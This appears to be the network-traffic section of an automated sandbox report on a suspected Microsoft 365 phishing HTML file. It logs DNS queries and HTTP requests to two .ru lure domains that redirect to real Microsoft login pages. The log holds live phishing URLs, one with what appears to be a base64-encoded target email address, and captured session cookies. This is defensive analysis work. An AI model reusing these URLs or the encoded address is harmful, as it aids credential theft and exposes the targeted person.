Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /3cDRxGja/ HTTP/1.1Host: t8ja.vyhbxyts.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://t8ja.vyhbxyts.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://t8ja.vyhbxyts.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://t8ja.vyhbxyts.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://t8ja.vyhbxyts.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://t8ja.vyhbxyts.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2DfGCq3EFhgKfShC_TbEXtLdt1.TOFumvJpWyKYcR_o-1741298096-1.0.1.1-SdSn3cCF962FuFA8b2Ws7uozlLDa3jtvHzw5cSUnSf.OIl9f1be3ovoaphIKf_WZhZsXmY19amR3ZgHa1DRmk_NRGefTco69jNF1R..VYgw
Source: global traffic	HTTP traffic detected: GET /chiriya$3c6dm HTTP/1.1Host: tfs7p.tjezyf.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://t8ja.vyhbxyts.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://t8ja.vyhbxyts.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chiriya$3c6dm HTTP/1.1Host: tfs7p.tjezyf.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: portal.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://t8ja.vyhbxyts.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login?ru=%2F%3Ffrom%3DPortalHome HTTP/1.1Host: www.microsoft365.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://t8ja.vyhbxyts.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1Host: login.microsoftonline.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://t8ja.vyhbxyts.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1Host: login.microsoftonline.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: esctx-o5hmElAb9b8=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAZ5w3bUrYbMIuMck-Ecql_diaEKAntEg63fe2ysZVdaOT9XYaKgZrECugfczZ46IgN2sWnFgPFSPp8nMZY0H9Lm6GdnfPGBZyOo7bH0iMV1eAB2RhDxS-1zNVCtDEksXsBVRXC9PrTIeFIZdhGEEkiAA; fpc=ArNZiE-suGVClIK0j8HrpL4; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE65EC_TVbpIKKotniURumZtGt2BCSgBhbr6A67EvWCgruHp6KAfx-k024nRxdcgS_ZbvKdIj0AeE31JYQ-ILo_m2WQMl9LlvfJErVTxTy2wLvtGw_JvFQcDs-8mQz0-Oxhse-5dwing-5zYPffjnywUQnS7F_1ZlVZ8g9CB65OZIgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: login.microsoftonline.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: esctx-o5hmElAb9b8=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAZ5w3bUrYbMIuMck-Ecql_diaEKAntEg63fe2ysZVdaOT9XYaKgZrECugfczZ46IgN2sWnFgPFSPp8nMZY0H9Lm6GdnfPGBZyOo7bH0iMV1eAB2RhDxS-1zNVCtDEksXsBVRXC9PrTIeFIZdhGEEkiAA; fpc=ArNZiE-suGVClIK0j8HrpL4; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE65EC_TVbpIKKotniURumZtGt2BCSgBhbr6A67EvWCgruHp6KAfx-k024nRxdcgS_ZbvKdIj0AeE31JYQ-ILo_m2WQMl9LlvfJErVTxTy2wLvtGw_JvFQcDs-8mQz0-Oxhse-5dwing-5zYPffjnywUQnS7F_1ZlVZ8g9CB65OZIgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: login.microsoftonline.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: esctx-o5hmElAb9b8=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAZ5w3bUrYbMIuMck-Ecql_diaEKAntEg63fe2ysZVdaOT9XYaKgZrECugfczZ46IgN2sWnFgPFSPp8nMZY0H9Lm6GdnfPGBZyOo7bH0iMV1eAB2RhDxS-1zNVCtDEksXsBVRXC9PrTIeFIZdhGEEkiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AUsAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABLAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEJK9ZJqdhv9v_qmyvVAlsR1APNn6zj-1xI7rDNNDvZK11zGWQMz3xRpBkix8TbIA2FxowiFvY37jkeKmOVnhwWAVaic8AYW-YAdJF3stOftYgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdbv8CXBhuQbLQf1VY8MqnNC-5UZYaZF1OlluX4YSlt5fpLPqlPZyTNOQ8sZICZKVEswwmXqutwe5Lasjy0N0_IfWDaTyI6ZUt7X6jcepT_6XgN4yGPRngY9BiMj6hoirDQRwvfaa4LEap0wDPHaRoIChDelQ7ZILRV3A-rIcz3kgAA; esctx-aKxRFnyWKM=AQABCQEAAABVrSpeuWamRam2jAF1XRQElBMnk3lhtaavH5x0_R3OCGibHy9JJybbIp0Jt0DaTjl8WS_mS0Xa0pNc3DD2sR-izExje7colbezsJt8Jc6czFKvPjV0eHjDJ9q_3QUJkyAOIA-9UgvzAtPOdpM1gussUpmZORLaqGtb65hxhwLSAyAA; fpc=ArNZiE-suGVClIK0j8HrpL68Ae7AAQAAANwQXN8OAAAA; MicrosoftApplicationsTelemetryDeviceId=9034504c-5987-4f4e-875d-08fd817e956e; brcap=0; ai_session=uCwcu87KtdoEB6U6Aybex+\|1741298151917\|1741298151917; MSFPC=GUID=df4108e427624d84b08da36d1f59de85&HASH=df41&LV=202503&V=4&LU=1741298159723

Source: global traffic	DNS traffic detected: DNS query: t8ja.vyhbxyts.ru
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: tfs7p.tjezyf.ru
Source: global traffic	DNS traffic detected: DNS query: portal.office.com
Source: global traffic	DNS traffic detected: DNS query: www.microsoft365.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /api/report?catId=GW+estsfd+ams2 HTTP/1.1Host: identity.nel.measure.office.netConnection: keep-aliveContent-Length: 1282Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Content-Type-Options: nosniffP3P: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 81165d1c-2a19-40e0-81b5-1b4c4b4c5a00x-ms-ests-server: 2.1.20203.5 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.PReferrer-Policy: strict-origin-when-cross-originContent-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-R2yV7YythBGSQrLi7RDWiw' 'unsafe-inline' 'unsafe-eval' https://*.msauth.net https://*.msftauth.net https://*.msftauthimages.net https://*.msauthimages.net https://*.msidentity.com https://*.microsoftonline-p.com https://*.microsoftazuread-sso.com https://*.azureedge.net https://*.outlook.com https://*.office.com https://*.office365.com https://*.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-AllX-XSS-Protection: 0Date: Thu, 06 Mar 2025 21:55:40 GMTConnection: closeContent-Length: 0

Source: VN_MSG-Splcenter.html	String found in binary or memory: https://T8ja.vyhbxyts.ru/3cDRxGja/#Y2Fzc2llLnBsdW5rZXR0QHNwbGNlbnRlci5vcmc=
Source: chromecache_125.2.dr, chromecache_118.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_125.2.dr, chromecache_118.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
